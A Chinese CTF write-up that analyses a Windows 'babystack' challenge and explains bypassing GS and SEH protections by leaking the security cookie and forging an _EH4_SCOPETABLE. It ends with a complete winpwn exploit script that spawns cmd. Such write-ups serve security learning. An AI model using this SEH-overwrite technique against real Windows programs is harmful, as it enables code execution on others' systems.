保护检查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Results for: .\babystack.exe
Dynamic Base : "Present"
ASLR : "Present"
High Entropy VA : "NotPresent"
Force Integrity : "NotPresent"
Isolation : "Present"
NX : "Present"
SEH : "Present"
CFG : "Present"
RFG : "NotPresent"
SafeSEH : "NotPresent"
GS : "Present"
Authenticode : "NotPresent"
.NET : "NotPresent"

程序分析

程序是一个简单的栈溢出题

Untitled.png

直接给了 main 的地址和栈地址,然后可以进行栈溢出和任意地址读

同时在汇编情况下可以看见有 SEH 的操作

Untitled 1.png

Untitled 2.png

由于程序最后是通过 exit(0) 退出的,所以我们并不能够劫持返回地址来控制程序,由于程序开启了 SEH ,因此我们需要考虑通过覆写虚表的方式来进行 getshell

程序开头有以下的操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
.text:004010B0 ; __unwind { // __except_handler4
.text:004010B0 push ebp // 压入ebp
.text:004010B1 mov ebp, esp // 交换ebp
.text:004010B3 push 0FFFFFFFEh // 压入0xFFFFFFFE
.text:004010B5 push offset stru_403688 // 压入_EH4_Scope_table地址
.text:004010BA push offset __except_handler4 // 压入except_handler函数地址
.text:004010BF mov eax, large fs:0 // TIB[0]
.text:004010C5 push eax// 压入_EXCEPTION_REGISTRATION_RECORD
.text:004010C6 add esp, 0FFFFFF40h // 抬高栈顶
.text:004010CC mov eax, ___security_cookie
.text:004010D1 xor [ebp+ms_exc.registration.ScopeTable], eax // 将security_cookie与scopetable异或
.text:004010D4 xor eax, ebp // 加密ebp
.text:004010D6 mov [ebp+var_1C], eax // 压入security_cookie
.text:004010D9 push ebx
.text:004010DA push esi
.text:004010DB push edi
.text:004010DC push eax
.text:004010DD lea eax, [ebp+ms_exc.registration]
// 将 __except_handler4 添加到 TIB 顶部
.text:004010E0 mov large fs:0, eax
.text:004010E6 mov [ebp+ms_exc.old_esp], esp
.text:004010E9 mov dword ptr [ebp+var_B8], 0
.text:004010F3 mov [ebp+var_CC], 1
.text:004010FD mov [ebp+var_D0], 1

其中的 stru_403688_EH4_SCOPETABLE 结构体

1
2
3
4
5
6
7
8
9
.rdata:00403688 stru_403688     dd 0FFFFFFE4h           ; GSCookieOffset
.rdata:00403688 ; DATA XREF: _main+5↑o
.rdata:00403688 dd 0 ; GSCookieXOROffset
.rdata:00403688 dd 0FFFFFF20h ; EHCookieOffset
.rdata:00403688 dd 0 ; EHCookieXOROffset
.rdata:00403688 dd 0FFFFFFFEh ; ScopeRecord.EnclosingLevel
.rdata:00403688 dd offset loc_401348 ; ScopeRecord.FilterFunc
.rdata:00403688 dd offset loc_40134E ; ScopeRecord.HandlerFunc
.rdata:004036A4 align 8

结构体结构如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
struct _EH4_SCOPETABLE {
DWORD GSCookieOffset;
DWORD GSCookieXOROffset;
DWORD EHCookieOffset;
DWORD EHCookieXOROffset;
_EH4_SCOPETABLE_RECORD ScopeRecord[1];
};

struct _EH4_SCOPETABLE_RECORD {
DWORD EnclosingLevel;
long (*FilterFunc)();
union {
void (*HandlerAddress)();
void (*FinallyFunc)();
};
};

其中的 FilterFuncFinallyFunc 是我们自定义的 __except__finally 函数的地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
.text:00401348
.text:00401348 loc_401348: ; DATA XREF: .rdata:stru_403688↓o
.text:00401348 ; __except filter // owned by 401107
.text:00401348 000 B8 01 00 00 00 mov eax, 1
.text:0040134D 000 C3 retn
.text:0040134E ; ---------------------------------------------------------------------------
.text:0040134E
.text:0040134E loc_40134E: ; DATA XREF: .rdata:stru_403688↓o
.text:0040134E ; __except(loc_401348) // owned by 401107
.text:0040134E 0E4 8B 65 E8 mov esp, [ebp+ms_exc.old_esp]
.text:00401351 0E0 68 F8 31 40 00 push offset aYouKillMeJustB ; "you kill me just because you ask a wron"...
.text:00401356 0E4 FF 15 B8 30 40+ call ds:puts
.text:00401356 0E4 00
.text:0040135C 0E4 83 C4 04 add esp, 4
.text:0040135F 0E0 6A 00 push 0 ; Code
.text:00401361 0E4 FF 15 8C 30 40+ call ds:__imp_exit
.text:00401361 0E4 00

然后是 fs 寄存器,它指向上面所讲的 TEB 结构,所以上面 lea eax, [ebp-0x10]mov large fs:0, eax 指令就是在栈中插入一个 SEH 异常处理结构体到 TIB 顶部,__except_handler4 是添加的系统默认异常处理回调函数,当发生异常时会首先执行它。

1
2
3
4
int __cdecl _except_handler4(int a1, int a2, int a3, int a4)
{
return except_handler4_common((int)&__security_cookie, (int)__security_check_cookie, a1, a2, a3, a4);
}

嵌套调用了 except_handler4_common 函数,该函数首先会检查栈上的 GS 值,然后根据 securityCookies 解密 _EH4_SCOPETABLE 的地址,最终会调用到 _EH4_SCOPETABLE 里面的 FilterFuncFinallyFunc 函数,也就是我们自定义的 __except__finally 函数的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
void __cdecl ValidateLocalCookies(void (__fastcall *cookieCheckFunction)(unsigned int), _EH4_SCOPETABLE *scopeTable, char *framePointer)
{
unsigned int v3; // esi@2
unsigned int v4; // esi@3

if ( scopeTable->GSCookieOffset != -2 )
{
//获取GS_Cookie
v3 = *(_DWORD *)&framePointer[scopeTable->GSCookieOffset] ^ (unsigned int)&framePointer[scopeTable->GSCookieXOROffset];
__guard_check_icall_fptr(cookieCheckFunction);
//检查GS_Cookie是否一致
((void (__thiscall *)(_DWORD))cookieCheckFunction)(v3);
}
v4 = *(_DWORD *)&framePointer[scopeTable->EHCookieOffset] ^ (unsigned int)&framePointer[scopeTable->EHCookieXOROffset];
__guard_check_icall_fptr(cookieCheckFunction);
((void (__thiscall *)(_DWORD))cookieCheckFunction)(v4);
}

int __cdecl _except_handler4_common(unsigned int *securityCookies, void (__fastcall *cookieCheckFunction)(unsigned int), _EXCEPTION_RECORD *exceptionRecord, unsigned __int32 sehFrame, _CONTEXT *context)
{
// 异或解密 scope table
scopeTable_1 = (_EH4_SCOPETABLE *)(*securityCookies ^ *(_DWORD *)(sehFrame + 8));

// sehFrame 等于 主函数 ebp - 10h 位置, framePointer 等于主函数 ebp 的位置
framePointer = (char *)(sehFrame + 16);
scopeTable = scopeTable_1;

// 验证 GS
ValidateLocalCookies(cookieCheckFunction, scopeTable_1, (char *)(sehFrame + 16));
__except_validate_context_record(context);

if ( exceptionRecord->ExceptionFlags & 0x66 )
{
......
}
else
{
exceptionPointers.ExceptionRecord = exceptionRecord;
exceptionPointers.ContextRecord = context;
tryLevel = *(_DWORD *)(sehFrame + 12);
*(_DWORD *)(sehFrame - 4) = &exceptionPointers;
if ( tryLevel != -2 )
{
while ( 1 )
{
v8 = tryLevel + 2 * (tryLevel + 2);
filterFunc = (int (__fastcall *)(_DWORD, _DWORD))*(&scopeTable_1->GSCookieXOROffset + v8);
scopeTableRecord = (_EH4_SCOPETABLE_RECORD *)((char *)scopeTable_1 + 4 * v8);
encloseingLevel = scopeTableRecord->EnclosingLevel;
scopeTableRecord_1 = scopeTableRecord;
if ( filterFunc )
{
// 调用 FilterFunc
filterFuncRet = _EH4_CallFilterFunc(filterFunc);
......
if ( filterFuncRet > 0 )
{
......
// 调用 FilterFunc
_EH4_TransferToHandler(scopeTableRecord_1->HandlerFunc, v5 + 16);
......
}
}
......
tryLevel = encloseingLevel;
if ( encloseingLevel == -2 )
break;
scopeTable_1 = scopeTable;
}
......
}
}
......
}

如果能够伪造一个 _EH4_SCOPETABLE 结构,里面的 FilterFunc 函数指针写成自己的,其他字段不改变,覆盖栈中的 _EH4_SCOPETABLE_addr 为伪造地址,就能实现任意地址函数调用。

最终函数栈帧如下

Untitled 3.png

伪造的结构如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
fake_scope_table{
GS_COOKie_Offset; //需要修改
GS_Cookie_XOR_Offset;
EH_Cookie_Offset;
EH_Cookie_XOR_Offset;
ScopeRecord.EnclosingLevel;
FilterFunc;
system('cmd');
}

payload += fake_scope_table;
payload += padding;
payload += GS_Cookie; //保证GS_Cookie正确
payload += aaaa;
payload += bbbb;
payload += Next_SEH_Frame; //保证Next_SEH_Frame正确
payload += SEH_Handler; //保证SEH_Handler正确
payload += fake_scope_table_addr;

漏洞利用

首先是泄露地址,我们要确保泄露出来栈上我们所需要的东西

1
2
3
4
5
6
7
8
9
10
11
12
13
14
ru("stack address = 0x")
stack_addr = int(ru("\r\n"),16)
print(f"[+] stack_addr : {hex(stack_addr)}")

ru("main address = 0x")
main_addr = int(ru("\r\n"),16)
print(f"[+] main_addr : {hex(main_addr)}")

ebp_addr = stack_addr + 0x9c
gs_cookie = arb_read(ebp_addr - 0x1c)
security_cookie = gs_cookie ^ ebp_addr
next_seh_frame = arb_read(ebp_addr - 0x10)
seh_handle = arb_read(ebp_addr - 0xc)
shell_addr = main_addr + 0x40138D - 0x4010B0

随后根据所得到的数据来伪造 fake_scope_table

1
2
3
4
5
6
7
8
fake_scope_table = ""
fake_scope_table += p32(0x0FFFFFFE4)
fake_scope_table += p32(0)
fake_scope_table += p32(0x0FFFFFF20)
fake_scope_table += p32(0)
fake_scope_table += p32(0x0FFFFFFFE)
fake_scope_table += p32(shell_addr)
fake_scope_table_addr = stack_addr + 0x4

最后构造栈溢出的 payload

1
2
3
4
5
6
7
8
9
10
payload = ""
payload += "a" * 4
payload += fake_scope_table.ljust(0x7c, "b")
payload += p32(gs_cookie)
payload += "c" * 8
payload += p32(next_seh_frame)
payload += p32(seh_handle)
payload += p32(fake_scope_table_addr ^ security_cookie)
payload += p32(0)
read_buf(payload)

然后再通过任意地址读读一个非法地址即可触发 SEH

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
from winpwn import *
context.log_level = "debug"

def rc(num):
return r.recv(num)

def ru(prefix,drop = True):
data = r.recvuntil(prefix)
if drop:
return data[:-len(prefix)]
else:
return data

def sd(content):
r.send(content)

def sl(content):
r.sendline(content)

def sda(prefix,content):
ru(prefix)
sd(content)

def sla(prefix,content):
ru(prefix)
sl(content)

def arb_read(addr):
sla("Do you want to know more?\r\n","yes")
sla("Where do you want to know\r\n",str(addr))
ru("value is 0x")
val = int(ru("\r\n"),16)
return val

def read_buf(payload):
sla("Do you want to know more?\r\n","n")
sleep(0.1)
sl(payload)

def trigger():
sla("Do you want to know more?\r\n","yes")
sla("Where do you want to know\r\n","0")

r = process("./babystack.exe")

ru("stack address = 0x")
stack_addr = int(ru("\r\n"),16)
print(f"[+] stack_addr : {hex(stack_addr)}")

ru("main address = 0x")
main_addr = int(ru("\r\n"),16)
print(f"[+] main_addr : {hex(main_addr)}")

ebp_addr = stack_addr + 0x9c
gs_cookie = arb_read(ebp_addr - 0x1c)
security_cookie = gs_cookie ^ ebp_addr
next_seh_frame = arb_read(ebp_addr - 0x10)
seh_handle = arb_read(ebp_addr - 0xc)
shell_addr = main_addr + 0x2dd

fake_scope_table = ""
fake_scope_table += p32(0x0FFFFFFE4)
fake_scope_table += p32(0)
fake_scope_table += p32(0x0FFFFFF20)
fake_scope_table += p32(0)
fake_scope_table += p32(0x0FFFFFFFE)
fake_scope_table += p32(shell_addr)
fake_scope_table_addr = stack_addr + 0x4

payload = ""
payload += "a" * 4
payload += fake_scope_table.ljust(0x7c, "b")
payload += p32(gs_cookie)
payload += "c" * 8
payload += p32(next_seh_frame)
payload += p32(seh_handle)
payload += p32(fake_scope_table_addr ^ security_cookie)
payload += p32(0)
read_buf(payload)

#windbgx.attach(r)

trigger()

# bp babystack + 0x11BC

r.interactive()